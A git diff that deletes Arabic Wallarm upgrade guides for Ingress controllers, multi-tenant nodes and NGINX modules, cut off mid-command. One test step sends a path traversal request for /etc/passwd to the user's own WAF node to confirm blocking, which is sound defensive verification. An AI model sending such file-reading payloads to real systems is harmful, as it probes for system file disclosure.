true - - acl: - - enabled: true - resources: {} - ``` - - نظرًا لأن منطق الجوهر لقوائم الأي بي تغير بشكل كبير في Wallarm node 3.x، يلزم ضبط التكوين المناسب لقائمة الأي بي. -* تأكد أن السلوك المتوقع للإعدادات المدرجة أدناه يتوافق مع [المنطق المتغير لوضعي الترشيح `off` و `monitoring`](what-is-new.md#filtration-modes): - - * [تعليمات `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [قاعدة الترشيح العامة المكونة في Wallarm Console](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) - * [قواعد الترشيح الهدفية نقطة النهاية المكونة في Wallarm Console](../../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) - - إذا لم يتوافق السلوك المتوقع مع منطق وضع الترشيح المتغير، فالرجاء ضبط [تعليمات Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) و [الإعدادات الأخرى](../../admin-en/configure-wallarm-mode.md) للتغييرات المطلقة. -* التخلص من [تكوين الخدمة المراقبة بشكل صريح](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md). في إصدار واجهة تحكم Wallarm Ingress الجديدة، يتم تمكين الخدمة المراقبة بشكل افتراضي ولا تتطلب أي تكوين إضافي. - - ```diff - controller: - wallarm: - enabled: true - tarantool: - resources: {} - - metrics: - - enabled: true - - service: - - annotations: {} - ``` -* إذا كانت الصفحة `&/usr/share/nginx/html/wallarm_blocked.html` المكونة عبر ConfigMap تعود إلى طلبات محظورة، [اضبط تكوينها](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) على التغييرات المطلقة. - - في إصدار العقدة الجديد، لدى الصفحة العادية للحظر بواسطة Wallarm [واجهة مستخدم محدثة](what-is-new.md#new-blocking-page) بدون شعار و عنوان بريد الكتروني للدعم محدد بشكل افتراضي. -* إذا كنت قد قمت بتخصيص كشف الهجوم `overlimit_res` من خلال توجيهات NGINX [`wallarm_process_time_limit`][nginx-process-time-limit-docs] و[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs]، يرجى [نقل](#step-6-transfer-the-overlimit_res-attack-detection-configuration-from-directives-to-the-rule) هذه الإعدادات إلى القاعدة وحذفها من الملف `values.yaml`. - -## الخطوة 6: نقل تكوين كشف الهجوم `overlimit_res` من التوجيهات إلى القاعدة - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md" - -## الخطوة 7: تحقق من جميع التغييرات المرتقبة لوثائق K8s - -لتجنب تغيير سلوك واجهة تحكم Ingress بشكل غير متوقع، تحقق من جميع التغييرات المرتقبة لوثائق K8s باستخدام [Helm Diff Plugin](https://github.com/databus23/helm-diff). يوفر هذا البرنامج المساعد الفرق بين وثائق K8s لإصدار واجهة تحكم Ingress المنشر والجديد. - -لتثبيت وتشغيل البرنامج المساعد: - -1. قم بتثبيت البرنامج المساعد: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. قم بتشغيل البرنامج المساعد: - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 4.10.4 -f - ``` - - * ``: اسم الإصدار Helm للرسم البياني لـ Ingress controller - * ``: الفضاء الاسمي الذي يتم نشر Ingress controller فيه - * ``: المسار إلى ملف `values.yaml` الذي يحدد [إعدادات واجهة تحكم Ingress 4.10](#step-5-update-the-valuesyaml-configuration) -3. تأكد أن أي تغييرات لا يمكن أن تؤثر على استقرار الخدمات الجارية ودرس الأخطاء بعناية من stdout. - - إذا كان stdout فارغًا، تأكد من أن ملف `values.yaml` صالح. - -يرجى ملاحظة التغييرات التالية للتكوين: - -* الحقل الثابت، مثل محددات التوزيع و/أو StatefulSet. -* تسميات الحمولة. التغييرات يمكن أن تؤدي إلى إنهاء عملية NetworkPolicy، على سبيل المثال: - - ```diff - apiVersion: networking.k8s.io/v1 - kind: NetworkPolicy - spec: - egress: - - to: - - namespaceSelector: - matchExpressions: - - key: name - operator: In - values: - - kube-system # ${NAMESPACE} - podSelector: - matchLabels: # RELEASE_NAME=waf-ingress - - app: waf-ingress - + app.kubernetes.io/component: "controller" - + app.kubernetes.io/instance: "waf-ingress" - + app.kubernetes.io/name: "waf-ingress" - - component: waf-ingress - ``` -* تكوين Prometheus ذو التسميات الجديدة، على سبيل المثال: - - ```diff - - job_name: 'kubernetes-ingress' - kubernetes_sd_configs: - - role: pod - namespaces: - names: - - kube-system # ${NAMESPACE} - relabel_configs: # RELEASE_NAME=waf-ingress - # Selectors - - - source_labels: [__meta_kubernetes_pod_label_app] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_release] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_instance] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_component] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_component] - action: keep - - regex: waf-ingress - + regex: controller - - source_labels: [__meta_kubernetes_pod_container_port_number] - action: keep - regex: "10254|18080" - # Replacers - - action: replace - target_label: __metrics_path__ - regex: /metrics - - action: labelmap - regex: __meta_kubernetes_pod_label_(.+) - - source_labels: [__meta_kubernetes_namespace] - action: replace - target_label: kubernetes_namespace - - source_labels: [__meta_kubernetes_pod_name] - action: replace - target_label: kubernetes_pod_name - - source_labels: [__meta_kubernetes_pod_name] - regex: (.*) - action: replace - target_label: instance - replacement: "$1" - ``` -* تحليل جميع التغييرات الأخرى. - -## الخطوة 8: ترقية واجهة التحكم Ingress - -هناك ثلاث طرق لترقية واجهة تحكم Wallarm Ingress. اعتمادًا على ما إذا كان هناك موزع حمل مثبت في بيئتك، قم باختيار الطريقة للترقية: - -* تثبيت واجهة تحكم Ingress موقتة -* إعادة إنشاء الإصدار بشكل عادي -* إعادة إنشاء الإصدار دون التأثير على موزع الحمل - -!!! warning "استخدام بيئة التطوير أو minikube" - إذا كانت Wallarm Ingress تم تركيبها في بيئة التطوير الخاصة بك، يوصى بترقيتها أولاً. مع تشغيل جميع الخدمات بشكل صحيح في بيئة التطوير، يمكنك الانتقال إلى إجراء الترقية في بيئة الإنتاج. - - إلا إذا كان يُوصى بـ[تركيب واجهة تحكم Wallarm Ingress 4.10](../../admin-en/installation-kubernetes-en.md) مع التكوين المحدث باستخدام minikube أو خدمة أخرى أولاً. تأكد من أن جميع الخدمات تعمل كما هو متوقع ثم قم بترقية واجهة التحكم Ingress في بيئة الإنتاج. - - يساعد هذا النهج على تجنب توقف الخدمات في بيئة الإنتاج. - -### الطريقة 1: تثبيت واجهة تحكم Ingress موقتة - -من خلال استخدام هذه الطريقة، يمكنك تثبيت واجهة تحكم Ingress 4.10 ككيان إضافي في بيئتك والتحويل إلى الحركة تدريجياً. تساعد على تجنب حتى توقف الخدمات مؤقتاً وتضمن الهجرة الآمنة. - -1. قم بنسخ تكوين IngressClass من ملف `values.yaml` للإصدار السابق إلى ملف `values.yaml` لواجهة التحكم Ingress 4.10. - - مع هذا التكوين، ستتعرف واجهة التحكم Ingress على أجسام الوصول ولكن لن تقوم بمعالجة حركة مرورها. -2. قم بتثبيت واجهة تحكم Ingress 4.10: - - ```bash - helm install -n wallarm/wallarm-ingress --version 4.10.4 -f - ``` - - * ``: اسم لإصدار Helm لرسم البياني لواجهة التحكم Ingress - * ``: الفضاء الاسمي حيث يتم تثبيت واجهة التحكم Ingress - * ``: المسار إلى الملف `values.yaml` الذي يحدد [إعدادات واجهة تحكم Ingress 4.10](#step-5-update-the-valuesyaml-configuration) -3. تأكد من أن جميع الخدمات تعمل بشكل صحيح. -4. قم بتحويل الحمولة إلى واجهة تحكم Ingress الجديدة تدريجيًا. - -### الطريقة 2: إعادة إنشاء الإصدار بشكل عادي - -**إذا كان موزع الحمل وواجهة التحكم Ingress غير موصوفة في نفس رسم الأخطية المصاحب في Helm chart**، يمكنك ببساطة إعادة إنشاء الإصدار. سيستغرق الأمر عدة دقائق وواجهة التحكم Ingress ستكون غير متاحة لهذا الوقت. - -!!! warning "إذا كان يوجد تكوين لموزع الحمل في Helm chart" - إذا كان يوجد تكوين لموزع الحمل إلى جانب واجهة التحكم Ingress في Helm chart، يمكن أن يؤدي إعادة إبداع الإصدار إلى توقف طويل لموزع الحمل (يعتمد على مزود الحوسبة السحابية). قد يتم تغيير عنوان الأي بي لموزع الحمل بعد الترقية إذا لم يتم تعيين عنوان ثابت. - - يرجى تحليل جميع المخاطر الممكنة إذا كنت تستخدم هذه الطريقة. - -لإعادة إنشاء إصدار واجهة التحكم Ingress: - -=== "Helm CLI" - 1. حذف الإصدار السابق: - - ```bash - helm delete -n - ``` - - * ``: اسم الإصدار Helm للرسم البياني لـ Ingress controller - - * ``: الفضاء الاسمي الذي يتم نشر Ingress controller فيه - - يرجى عدم استخدام الخيار `--wait` عند تنفيذ الأمر لأنه يمكن أن يزيد من وقت الترقية. - - 2. قم بإنشاء إصدار جديد مع واجهة التحكم Ingress 4.10: - - ```bash - helm install -n wallarm/wallarm-ingress --version 4.10.4 -f `` - ``` - - * ``: اسم لإصدار Helm لرسم البياني لواجهة التحكم Ingress - - * ``: الفضاء الاسمي حيث يتم تثبيت واجهة التحكم Ingress - - * ``: المسار إلى الملف `values.yaml` الذي يحدد [إعدادات واجهة تحكم Ingress 4.10](#step-5-update-the-valuesyaml-configuration) -=== "Terraform CLI" - 1. حدد الخيار `wait = false` في تكوين Terraform لتقليل وقت الترقية: - - ```diff - resource "helm_release" "release" { - ... - - + wait = false - - ... - } - ``` - - 2. حذف الإصدار السابق: - - ```bash - terraform taint helm_release.release - ``` - - 3. قم بإنشاء الإصدار الجديد مع واجهة التحكم Ingress 4.10: - - ```bash - terraform apply -target=helm_release.release - ``` - -### الطريقة 3: إعادة إنشاء الإصدار من دون التأثير على موزع الحمل - -عند استخدام موزع الحمل المكون من الموفر السحابي، يوصى بترقية واجهة التحكم Ingress بهذه الطريقة لأنها لا تؤثر على موزع الحمل. - -سوف يستغرق إعادة إبداع الإصدار عدة دقائق وواجهة التحكم Ingress ستكون غير متاحة لهذا الوقت. - -1. الحصول على الأجسام التي يجب حذفها (ما عدا موزع الحمل): - - ```bash - helm get manifest -n | yq -r '. | select(.spec.type != "LoadBalancer") | .kind + "/" + .metadata.name' | tr 'A-Z' 'a-z' > objects-to-remove.txt - ``` - - لتثبيت الأداة `yq`، يرجى استخدام [التعليمات](https://pypi.org/project/yq/). - - سيتم إخراج الأجسام التي يجب حذفها إلى ملف `objects-to-remove.txt`. -2. حذف الأجسام المدرجة وإعادة إنشاء الإصدار: - - ```bash - cat objects-to-remove.txt | xargs kubectl delete --wait=false -n && \ - helm upgrade -n wallarm/wallarm-ingress --version 4.10.4 -f `` - ``` - - لتقليل وقت توقف الخدمة، فإنه لا يُوصى بتنفيذ الأوامر بشكل منفصل. -3. تأكد من أن جميع الأجسام مكونة بشكل صحيح: - - ```bash - helm get manifest -n | kubectl create -f - - ``` - - يجب أن يقول الناتج أن جميع الأجسام موجودة بالفعل. - -هناك المعلمات التالية التي يتم تمريرها في الأوامر: - -* ``: اسم الإصدار Helm للرسم البياني لـ Ingress controller -* ``: الفضاء الاسمي الذي يتم نشر Ingress controller فيه -* ``: المسار إلى الملف `values.yaml` الذي يحدد [إعدادات واجهة تحكم Ingress 4.10](#step-5-update-the-valuesyaml-configuration) - -## الخطوة 9: اختبار واجهة التحكم Ingress المُرقاة - -1. التحقق من أن الإصدار الخاص برسم الأخطية في Helm تم تحديثه: - - ```bash - helm ls - ``` - - يجب أن يتوافق إصدار الرسم البياني مع `wallarm-ingress-4.10.4`. -2. احصل على قائمة الحمولات التي تحدد اسم واجهة التحكم Ingress في ``: - - ``` bash - kubectl get pods -l release= - ``` - - يجب أن يكون حالة كل حمولة **الحالة: التشغيل** أو **جاهز: N/N**. على سبيل المثال: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-nginx-ingress-controller-675c68d46d-cfck8 3/3 Running 0 5m - ingress-controller-nginx-ingress-controller-wallarm-tarantljj8g 4/4 Running 0 5m - ``` - -3. أرسل الطلب مع الاختبار [Path Traversal](../../attacks-vulns-list.md#path-traversal) الهجوم إلى عنوان واجهة التحكم Ingress: - - ```bash - curl http:///etc/passwd - ``` - - إذا كانت العقدة تعمل في وضع `block`، سيرد الرمز `403 Forbidden` كرد على الطلب وسيتم عرض الهجوم في Wallarm Console → **الهجمات**. - -## الخطوة 10: ضبط التعليمات البرمجية لـ Ingress حسب التغييرات المطلقة - -قم بضبط التعليمات البرمجية التالية لـ Ingress وفقًا للتغييرات المطلقة في واجهة التحكم Ingress 4.10: - -1. إذا كانت الترقية من الإصدار 2.18 أو أقل، قم بـ[ترحيل](../migrate-ip-lists-to-node-3.md) تكوين قائمة الأي بي. نظرًا لأن منطق الجوهر لقوائم الأي بي تغير بشكل كافٍ في Wallarm node 3.x، يجب ضبط التكوين الموائم لقائمة الأي بي من خلال تغيير التعليمات البرمجية لـ Ingress (إذا تم تطبيقه). -1. تأكد أن السلوك المتوقع للإعدادات المدرجة أدناه يتوافق مع [المنطق المتغير لوضعي الترشيح `off` و `monitoring`](what-is-new.md#filtration-modes): - - * [تعليمات `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [قاعدة الترشيح العامة المكونة في Wallarm Console](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) - * [قواعد الترشيح الهدفية نقطة النهاية المكونة في Wallarm Console](../../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) - - إذا لم يتوافق السلوك المتوقع مع منطق وضع الترشيح المتغير، فالرجاء ضبط [تعليمات Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) للتغييرات المطلقة. -1. إذا كان الإصدار مشفر بـ `nginx.ingress.kubernetes.io/wallarm-instance`، قم بتغيير هذا التعليم مع البرمجة إلى `nginx.ingress.kubernetes.io/wallarm-application`. - - فقط اسم التعليمات تغير، بينما بقي منطقها كما هو. سيتم إهمال التعليمات بالاسم السابق قريبًا لذا يُوصى بتغيير اسمها قبل ذلك. -1. إذا كانت الصفحة `&/usr/share/nginx/html/wallarm_blocked.html` المكونة عبر تعليمات Ingress تمرة إلى طلبات محظورة، [اضبط تكوينها](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) على التغييرات المطلقة. - - في إصدار تحديث العقدة، لدى الصفحة المعاد حظرها من Wallarm [واجهة مستخدم محدثة](what-is-new.md#new-blocking-page) من دون شعار وعنوان البريد الإلكتروني المدعوم مخصص بشكل افتراضي. - -## الخطوة 11: إعادة تمكين وحدة التحقق من التهديد النشط (فقط إذا كانت الترقية للعقدة 2.16 أو أقل) - -تعلم [التوصيات على إعداد وحدة التحقق من التهديد النشط](../../vulnerability-detection/threat-replay-testing/setup.md) وقم بإعادة تمكينها إذا كان مطلوبًا. - -بعد فترة، تأكد من أن تشغيل الوحدة لا يسبب إيجادات كاذبة. إذا تم اكتشاف الإيجادات الكاذبة، يرجى الاتصال بـ [دعم فني Wallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/older-versions/multi-tenant.md b/docs/latest-ar/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index c4c0cd89e4..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1,248 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# ترقية عقدة العميل متعددة التواجد EOL - -وتتضمن هذه التعليمات الخطوات لترقية عقدة النهاية المتعددة (الإصدار 3.6 وأقل) إلى 4.10. - -## المتطلبات - -* تنفيذ الأوامر التالية من قبل المستخدم بدور حالة المسؤول العام المضافة تحت [حساب المستأجر التقني](../../installation/multi-tenant/configure-accounts.md#tenant-account-structure) -* الوصول إلى `https://us1.api.wallarm.com` إذا كنت تعمل مع Wallarm Cloud الأمريكية أو إلى `https://api.wallarm.com` إذا كنت تعمل مع Wallarm Cloud الأوروبية. يرجى التأكد من أن الوصول لا يتم حظره من قبل جدار الحماية - -## الخطوة 1: تواصل مع فريق دعم Wallarm - -اطلب من [فريق دعم Wallarm](mailto:support@wallarm.com) المساعدة للحصول على أحدث إصدار من ميزة [بناء القواعد المخصصة](../../user-guides/rules/rules.md#ruleset-lifecycle) أثناء ترقية عقدة العميل متعددة التواجد. - -!!! info "تحديث محظور" - قد يؤدي استخدام نسخة غير صحيحة من ميزة بناء المجموعة القاعدية المخصصة إلى حصر عملية الترقية. - -سيساعدك الفريق الدعم أيضًا في الإجابة على جميع الأسئلة المتعلقة بترقية عقدة العميل متعددة التواجد والإعادة التكوين اللازمة. - -## الخطوة 2: اتبع إجراء الترقية القياسي - -تشمل الإجراءات القياسية ما يلي: - -* [ترقية وحدات Wallarm NGINX](nginx-modules.md) -* [ترقية وحدة postanalytics](separate-postanalytics.md) -* [ترقية صورة Wallarm Docker NGINX- أو Envoy-based](docker-container.md) -* [ترقية NGINX Ingress controller مع وحدات Wallarm المتكاملة](ingress-controller.md) -* [ترقية صورة العقدة السحابية](cloud-image.md) - -!!! warning "إنشاء العقد العميل متعدد التواجد" - أثناء إنشاء العقدة Wallarm ، يرجى اختيار خيار العقدة متعددة التواجد: - - ![إنشاء العقد العميل متعدد التواجد](../../images/user-guides/nodes/create-multi-tenant-node.png) - -## الخطوة 3: إعادة تكوين العدد المتعدد - -أعاد كتابة تكوين كيفية ربط الترافيك بعملائك وتطبيقاتهم. قم بالنظر في المثال أدناه. في المثال: - -* المستأجر هو عبارة عن عميل الشريك. ولدى الشريك عميلان. -* يجب أن يتم ربط حركة المرور المستهدفة `tenant1.com` و `tenant1-1.com` مع العميل 1. -* يجب أن يتم ربط حركة المرور المستهدفة `tenant2.com` مع العميل 2. -* لدى العميل 1 أيضًا ثلاثة تطبيقات: - * `tenant1.com/login` - * `tenant1.com/users` - * `tenant1-1.com` - - يجب على حركة المرور المستهدفة هذه الـ3 مسارات أن تتم ربطها بالتطبيق المتناظر؛ ويجب اعتبار ما تبقى أنه ترافيك عام من العميل 1. - -### درس تكوين الإصدار السابق الخاص بك - - في 3.6، يمكن تكوين ذلك على النحو التالي: - -``` - server { - server_name tenant1.com; - wallarm_application 20; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - - server { - server_name tenant1-1.com; - wallarm_application 23; - ... - } - - server { - server_name tenant2.com; - wallarm_application 24; - ... - } - ... - } -``` - -ملاحظات بشأن التكوين أعلاه: - -* حركة المرور المستهدفة `tenant1.com` و `tenant1-1.com` مربوطة مع العميل 1 عبر القيم `20` و `23`, ربطت مع هذا العميل عبر الطلب API. -* يجب أن يتم إرسال نفس طلبات API لربط التطبيقات الأخرى مع المستأجرين. -* المستأجرين والتطبيقات هي كيانات منفصلة، لذا فمن المنطقي تكوينهم بالأوامر المختلفة. أيضًا، سيكون من الجدير بالتنويه تجنب طلبات API إضافية. سيكون من الجدير بالتنويه تحديد العلاقات بين المستأجرين والتطبيقات عبر التكوين نفسه. كل هذا مفقود في التكوين الحالي ولكن سيصبح متاحًا في النهج 4.x الجديد الموصوف أدناه. - -### درس النهج 4.x - -في الإصدار 4.x، UUID هو الطريقة لتحديد المستأجر في تكوين العقدة. - -لإعادة كتابة التكوين، قم بما يلي: - -1. الحصول على UUIDs كل مستأجر. -1. قم بتضمين المستأجرين وتعيين تطبيقاتهم في ملف تكوين NGINX. - -### الحصول على UUIDs المستأجر الخاص بك - -للحصول على قائمة المستأجرين، أرسل طلبات متوثقة إلى Wallarm API. النهج المصادقة هو نفسه أحد الذي [يتم استخدامه لإنشاء المستأجر](../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api). - -1. الحصول على `clientid(s)` بعد ذلك العثور على UUIDs مرتبطة بها: - - === "عبر Wallarm Console" - - نسخ `clientid(s)` من العمود**ID** في واجهة مستخدم وحدة التحكم Wallarm: - - ![معايرة المستأجرين في وحدة التحكم Wallarm](../../images/partner-waf-node/clients-selector-in-console-ann.png) - === "من خلال إرسال طلب لAPI" - 1. إرسال طلب GET للطريق `/v2/partner_client`: - - !!! info "مثال على الطلب المرسل من العميل الخاص بك" - === "US Cloud" - ``` bash - curl -X GET \ - 'https://us1.api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - === "EU Cloud" - ``` bash - curl -X GET \ - 'https://api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - - حيث `PARTNER_ID` هو الواحد المحصل في [**الخطوة 2**](../../installation/multi-tenant/configure-accounts.md#step-2-get-access-to-the-tenant-account-creation) من اجراء انشاء المستأجر. - - مثال الرد: - - ``` - { - "body": [ - { - "id": 1, - "partnerid": , - "clientid": , - "params": null - }, - { - "id": 3, - "partnerid": , - "clientid": , - "params": null - } - ] - } - ``` - - 1. نسخ `clientid(s)` من الرد. -1. للحصول على UUID لكل مستأجر، ارسل طلب POST للطريق `v1/objects/client`: - - !!! info "مثال على الطلب المرسل من العميل الخاص بك" - === "US Cloud" - ``` bash - curl -X POST \ - https://us1.api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - === "EU Cloud" - ``` bash - curl -X POST \ - https://api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - - مثال الرد: - - ``` - { - "status": 200, - "body": [ - { - "id": , - "name": "", - ... - "uuid": "11111111-1111-1111-1111-111111111111", - ... - }, - { - "id": , - "name": "", - ... - "uuid": "22222222-2222-2222-2222-222222222222", - ... - } - ] - } - ``` - -1. من الرد، نسخ `uuid(s)`. - -### تضمين المستأجرين وتعيين تطبيقاتهم في ملف تكوين NGINX - -في ملف تكوين NGINX: - -1. حدد UUIDs المستأجرين المستلمة أعلاه في توجيهات [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). -1. اضبط معرفات التطبيق المحمي في [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) التوجيهات. - - إذا كان التكوين NGINX الذي استُخدم للعقدة 3.6 أو أقل ينطوي على تكوين التطبيق، فقط حدد UUIDs المستأجر واحتفظ بتكوين التطبيق دون تغيير. - -مثال: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -في التكوين أعلاه: - -* المستأجرين والتطبيقات يتم تكوينهم بواسطة توجيهات مختلفة. -* علاقات بين المستأجرين والتطبيقات تتم تعريفها عبر توجيهات `wallarm_application` في الكتل المطابقة من ملف تكوين NGINX. - -## الخطوة 4: اختبار عمل العقدة Wallarm متعددة التواجد - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" diff --git a/docs/latest-ar/updating-migrating/older-versions/nginx-modules.md b/docs/latest-ar/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index e827ca5e5a..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1,246 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../installation/custom/custom-nginx-version.md -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[sqli-attack-docs]: ../../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../../installation/oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring - -# ترقية وحدات NGINX Wallarm المنتهية الدعم - -توضح هذه التعليمات الخطوات لترقية وحدات NGINX Wallarm المنتهية الدعم (الإصدار 3.6 وأقل) إلى الإصدار 4.10. وحدات NGINX Wallarm هي الوحدات المثبتة طبقًا لأحد التعليمات التالية: - -* [حزم منفصلة لـ NGINX مستقر](../../installation/nginx/dynamic-module.md) -* [حزم منفصلة لـ NGINX Plus](../../installation/nginx-plus.md) -* [حزم منفصلة لـ NGINX توفرها التوزيعة](../../installation/nginx/dynamic-module-from-distr.md) - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## أبلغ الدعم الفني لـ Wallarm بأنك تقوم بترقية العقدة المنتهية الدعم - -إذا كنت تقوم بترقية وحدات NGINX Wallarm المنتهية الدعم (الإصدار 3.6 وأقل) للإصدار 4.10 ، فأبلغ [الدعم الفني لـ Wallarm](mailto:support@wallarm.com) عن ذلك واطلب المساعدة. - -بجانب أي مساعدة أخرى ، طلب تمكين منطق القوائم الفرعية الجديدة لحساب Wallarm الخاص بك. عند تمكين منطق القوائم الفرعية الجديدة ، يرجى فتح وحدة تحكم Wallarm والتأكد من أن قسم [**القوائم الفرعية**](../../user-guides/ip-lists/overview.md) متاح. - -## طرق الترقية - ---8<-- "../include/waf/installation/upgrade-methods.md" - -## الترقية باستخدام المثبت الشامل - -استخدم الإجراء أدناه لترقية وحدات NGINX Wallarm المنتهية الدعم (الإصدار 3.6 وأقل) إلى الإصدار 4.10 باستخدام [المثبت الشامل](../../installation/nginx/all-in-one.md). - -### متطلبات الترقية باستخدام المثبت الشامل - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -### إجراء الترقية - -* إذا كانت الوحدة النمطية للتصفية والوحدات النمطية لبرنامج postanalytics مثبتة على نفس الخادم ، فيجب اتباع الإرشادات أدناه لترقية الجميع. - - ستحتاج إلى تشغيل العقدة بالإصدار الأحدث باستخدام المثبت الشامل على جهاز نظيف ، واختبار أنه يعمل بشكل جيد وإيقاف السابق وتكوين حركة المرور للتدفق من خلال الجهاز الجديد بدلاً من الجهاز السابق. - -* إذا كانت الوحدة النمطية للتصفية والوحدات النمطية لبرنامج postanalytics مثبتة على خوادم مختلفة ، قم **أولاً** بترقية وحدة postanalytics و**ثم** الوحدة النمطية للتصفية اتباع هذه [الإرشادات](separate-postanalytics.md). - -### الخطوة 1: تعطيل وحدة التحقق من التهديد النشط (إذا كنت تقوم بالترقية من العقدة 2.16 أو أقل) - -إذا كنت تقوم بترقية Wallarm node 2.16 أو أقل ، فيرجى تعطيل وحدة [التحقق من التهديد النشط](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) في وحدة تحكم Wallarm → **Vulnerabilities** → **Configure**. - -يمكن أن يتسبب تشغيل الوحدة في [الإيجابيات الكاذبة](../../about-wallarm/protecting-against-attacks.md#false-positives) أثناء عملية الترقية. يقلل تعطيل الوحدة من هذا المخاطر. - -### الخطوة 2: إعداد الجهاز النظيف - ---8<-- "../include/waf/installation/all-in-one-clean-machine.md" - -### الخطوة 3: تثبيت NGINX والتبعيات - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -### الخطوة 4: إعداد رمز Wallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -### الخطوة 5: تنزيل برنامج التثبيت Wallarm الشامل - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 6: تشغيل برنامج التثبيت Wallarm الشامل - -#### وحدة التصفية وبرنامج postanalytics على نفس الخادم - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -#### وحدة التصفية وبرنامج postanalytics على خوادم مختلفة - -!!! تحذير "تسلسل الخطوات لتحديث وحدات التصفية وبرامج postanalytics" -إذا كانت وحدة التصفية ووحدات postanalytics مثبتة على خوادم مختلفة ، فيجب تحديث حزم postanalytics قبل تحديث حزم وحده التصفية. - -1. قم بترقية وحدة postanalytics باتباع هذه [الإرشادات](separate-postanalytics.md). -1. قم بترقية وحدة التصفية: - - === "API token" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh filtering - - # إذا كنت تستخدم 